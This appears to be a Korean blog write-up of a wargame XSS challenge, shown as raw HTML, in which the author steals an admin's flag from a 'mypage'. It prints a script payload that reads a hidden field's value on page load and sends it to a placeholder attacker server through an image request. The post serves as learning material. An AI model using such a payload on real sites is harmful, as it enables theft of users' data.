src=&quot;https://blog.kakaocdn.net/dn/sarea/dJMcafSKzJK/MtjQe4ABgqKcnuj39bskOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fsarea%2FdJMcafSKzJK%2FMtjQe4ABgqKcnuj39bskOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;916&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;마이페이지에 있는 관리자의 중요 정보 flag를 탈취하는 미션입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;로그인 했을 때&amp;nbsp; 마이페이지있는 flag here에 있는데 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;관리자로 방문하면 보이게 됩니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Mypage&amp;nbsp; XSS가 일어나고 있다는데 확인해보죠.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSawLs/dJMcaiu7OW4/s7RQCHw3lMSpkYhEA485RK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSawLs/dJMcaiu7OW4/s7RQCHw3lMSpkYhEA485RK/img.png&quot; data-origin-width=&quot;1854&quot; data-origin-height=&quot;916&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.6356%; margin-right: 10px;&quot; data-widthpercent=&quot;49.21&quot; id=&quot;kEditorPhotosEditingImage-4&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSawLs/dJMcaiu7OW4/s7RQCHw3lMSpkYhEA485RK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSawLs%2FdJMcaiu7OW4%2Fs7RQCHw3lMSpkYhEA485RK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1854&quot; height=&quot;916&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OLvxu/dJMcaa4X5XF/nsgJKX0CGGJOzIkMyOu201/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OLvxu/dJMcaa4X5XF/nsgJKX0CGGJOzIkMyOu201/img.png&quot; data-origin-width=&quot;1874&quot; data-origin-height=&quot;897&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.2016%;&quot; data-widthpercent=&quot;50.79&quot; id=&quot;kEditorPhotosEditingImage-5&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OLvxu/dJMcaa4X5XF/nsgJKX0CGGJOzIkMyOu201/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOLvxu%2FdJMcaa4X5XF%2FnsgJKX0CGGJOzIkMyOu201%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1874&quot; height=&quot;897&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQhW95/dJMcad1DOiw/Y3Ysf7Y2D0dVLyTAucoFLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQhW95/dJMcad1DOiw/Y3Ysf7Y2D0dVLyTAucoFLK/img.png&quot; data-origin-width=&quot;1740&quot; data-origin-height=&quot;724&quot; data-is-animation=&quot;false&quot; style=&quot;width: 63.1101%; margin-right: 10px; margin-top: 10px;&quot; data-widthpercent=&quot;63.85&quot; id=&quot;kEditorPhotosEditingImage-6&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQhW95/dJMcad1DOiw/Y3Ysf7Y2D0dVLyTAucoFLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQhW95%2FdJMcad1DOiw%2FY3Ysf7Y2D0dVLyTAucoFLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1740&quot; height=&quot;724&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDVDpa/dJMcahC1gBi/AchhEPeUCoQ0F0fS2v07Kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDVDpa/dJMcahC1gBi/AchhEPeUCoQ0F0fS2v07Kk/img.png&quot; data-origin-width=&quot;1634&quot; data-origin-height=&quot;1201&quot; data-is-animation=&quot;false&quot; style=&quot;width: 35.7271%; margin-top: 10px;&quot; data-widthpercent=&quot;36.15&quot; id=&quot;kEditorPhotosEditingImage-7&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDVDpa/dJMcahC1gBi/AchhEPeUCoQ0F0fS2v07Kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDVDpa%2FdJMcahC1gBi%2FAchhEPeUCoQ0F0fS2v07Kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1634&quot; height=&quot;1201&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;아이디 정보로 보니 doldol -&amp;gt; TEST로 바뀌는 것을 보아 정말이네요.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;증명까지는 할 수 있지만 이 것을 활용하여 flag를 얻어야 합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1123&quot; data-origin-height=&quot;540&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/efmR15/dJMcaiaRSR5/71NHYu8vcI7e5IHSW9kkk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/efmR15/dJMcaiaRSR5/71NHYu8vcI7e5IHSW9kkk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/efmR15/dJMcaiaRSR5/71NHYu8vcI7e5IHSW9kkk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FefmR15%2FdJMcaiaRSR5%2F71NHYu8vcI7e5IHSW9kkk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1123&quot; height=&quot;540&quot; data-origin-width=&quot;1123&quot; data-origin-height=&quot;540&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;쿠키 탈취는 해봤지만 flag는 없다네요.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baAvL5/dJMcaihDCJn/YSh3CCvIKKivQWi6lilz7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baAvL5/dJMcaihDCJn/YSh3CCvIKKivQWi6lilz7k/img.png&quot; data-origin-width=&quot;1739&quot; data-origin-height=&quot;1245&quot; data-is-animation=&quot;false&quot; style=&quot;width: 59.467%; margin-right: 10px;&quot; data-widthpercent=&quot;60.17&quot; id=&quot;kEditorPhotosEditingImage-9&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baAvL5/dJMcaihDCJn/YSh3CCvIKKivQWi6lilz7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaAvL5%2FdJMcaihDCJn%2FYSh3CCvIKKivQWi6lilz7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1739&quot; height=&quot;1245&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvBUJc/dJMcacPkfo8/mFH4vwlgq4cflNQ0yhze70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvBUJc/dJMcacPkfo8/mFH4vwlgq4cflNQ0yhze70/img.png&quot; data-origin-width=&quot;811&quot; data-origin-height=&quot;877&quot; data-is-animation=&quot;false&quot; style=&quot;width: 39.3702%;&quot; data-widthpercent=&quot;39.83&quot; id=&quot;kEditorPhotosEditingImage-10&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvBUJc/dJMcacPkfo8/mFH4vwlgq4cflNQ0yhze70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvBUJc%2FdJMcacPkfo8%2FmFH4vwlgq4cflNQ0yhze70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;811&quot; height=&quot;877&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;document.getElementsByName('info')[0].placeholder; &lt;/b&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;에서 flag here...!&amp;nbsp; 추출이 되는 것을 알게되었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;하지만 f&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;lag here을 추출하기 위해서&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1047&quot; data-origin-height=&quot;933&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pPBRh/dJMcaivceF7/ESNMIUxvWhdbT3PyZH1iw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pPBRh/dJMcaivceF7/ESNMIUxvWhdbT3PyZH1iw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pPBRh/dJMcaivceF7/ESNMIUxvWhdbT3PyZH1iw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpPBRh%2FdJMcaivceF7%2FESNMIUxvWhdbT3PyZH1iw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1047&quot; height=&quot;933&quot; data-origin-width=&quot;1047&quot; data-origin-height=&quot;933&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1020&quot; data-origin-height=&quot;82&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bv1WST/dJMcabbOq9E/dZmoWTkhOVKLFhq87hBcDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bv1WST/dJMcabbOq9E/dZmoWTkhOVKLFhq87hBcDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bv1WST/dJMcabbOq9E/dZmoWTkhOVKLFhq87hBcDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbv1WST%2FdJMcabbOq9E%2FdZmoWTkhOVKLFhq87hBcDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1020&quot; height=&quot;82&quot; data-origin-width=&quot;1020&quot; data-origin-height=&quot;82&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;var secret=document.getElementsByName('info')[0].placeholder;&lt;br /&gt;console log(data); 이용하여 테스트를 진행했지만 추출되지 않았습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이유는 HTM은 절차지향 언어로써 위에서 부터 차례대로 실행되는데&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;스크립트로 접근하는 HTML 요소가 스크립트가 아래 존재하면 정의되지 않아 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;오류가 생기게 됩니다. 그래서 이벤트 핸들러인 onload를 사용하여 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;웹 페이지가 로딩되었을 때 발생하는 함수로 이용하여 스크립트를 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;적용해보겠습니다.&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1767704945662&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
document.addEventListener('DOMContentLoaded',function() { 
var secret=document.getElementsByName('info')[0].placeholder;
var i = new Image();i.src = &quot;https://공격자서버?secret=+secret;
});
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;일단 DOMContentLoaded로 이용한 함수로 이용하여 flag_here &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;데이터를 얻겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/clx7Kt/dJMcaiIJNob/v9mC06PvAlud5TamGNyNek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/clx7Kt/dJMcaiIJNob/v9mC06PvAlud5TamGNyNek/img.png&quot; data-origin-width=&quot;2491&quot; data-origin-height=&quot;619&quot; data-is-animation=&quot;false&quot; style=&quot;width: 62.1025%; margin-right: 10px;&quot; data-widthpercent=&quot;62.83&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/clx7Kt/dJMcaiIJNob/v9mC06PvAlud5TamGNyNek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fclx7Kt%2FdJMcaiIJNob%2Fv9mC06PvAlud5TamGNyNek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2491&quot; height=&quot;619&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/582gG/dJMcadUWZgI/vBAPwGRwr228mQwkLxGYxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/582gG/dJMcadUWZgI/vBAPwGRwr228mQwkLxGYxk/img.png&quot; data-origin-width=&quot;826&quot; data-origin-height=&quot;347&quot; data-is-animation=&quot;false&quot; style=&quot;width: 36.7347%;&quot; data-widthpercent=&quot;37.17&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/582gG/dJMcadUWZgI/vBAPwGRwr228mQwkLxGYxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F582gG%2FdJMcadUWZgI%2FvBAPwGRwr228mQwkLxGYxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;826&quot; height=&quot;347&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;관리자가 방문할 URL 접속창에 적용해봤습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;잘 적용되어 플래그까지 얻어내는 모습입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;lt;Steal Info 1&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ea46d5/dJMcahQDExH/JJhFvqSJoDm8qju5jDF2Sk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ea46d5/dJMcahQDExH/JJhFvqSJoDm8qju5jDF2Sk/img.png&quot; data-origin-width=&quot;994&quot; data-origin-height=&quot;1088&quot; data-is-animation=&quot;false&quot; style=&quot;width: 41.6892%; margin-right: 10px;&quot; data-widthpercent=&quot;42.18&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ea46d5/dJMcahQDExH/JJhFvqSJoDm8qju5jDF2Sk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fea46d5%2FdJMcahQDExH%2FJJhFvqSJoDm8qju5jDF2Sk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;994&quot; height=&quot;1088&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EmEBD/dJMcadHqPYv/hHuv4RzFfDmZnFEsA4q681/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EmEBD/dJMcadHqPYv/hHuv4RzFfDmZnFEsA4q681/img.png&quot; data-origin-width=&quot;1449&quot; data-origin-height=&quot;1157&quot; data-is-animation=&quot;false&quot; style=&quot;width: 57.148%;&quot; data-widthpercent=&quot;57.82&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EmEBD/dJMcadHqPYv/hHuv4RzFfDmZnFEsA4q681/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEmEBD%2FdJMcadHqPYv%2FhHuv4RzFfDmZnFEsA4q681%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1449&quot; height=&quot;1157&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bR0Bbl/dJMb99SBJn5/ElQpwLDiMJgACFKR1cec3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bR0Bbl/dJMb99SBJn5/ElQpwLDiMJgACFKR1cec3k/img.png&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1095&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.9433%; margin-right: 10px; margin-top: 10px;&quot; data-widthpercent=&quot;50.53&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bR0Bbl/dJMb99SBJn5/ElQpwLDiMJgACFKR1cec3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbR0Bbl%2FdJMb99SBJn5%2FElQpwLDiMJgACFKR1cec3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1095&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBMPbw/dJMcab3W5FY/A4HKQJ8T4bDxbJsZUfPqx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBMPbw/dJMcab3W5FY/A4HKQJ8T4bDxbJsZUfPqx1/img.png&quot; data-origin-width=&quot;2244&quot; data-origin-height=&quot;1260&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.8939%; margin-top: 10px;&quot; data-widthpercent=&quot;49.47&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBMPbw/dJMcab3W5FY/A4HKQJ8T4bDxbJsZUfPqx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBMPbw%2FdJMcab3W5FY%2FA4HKQJ8T4bDxbJsZUfPqx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2244&quot; height=&quot;1260&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Steal INFO 문제입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;중요한 정보가든 페이지가 있고&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;실제로 중요한 정보는 권한이 없다고 합니다.&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 웹사이트에사 XSS 취약점이 있는지 확인해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
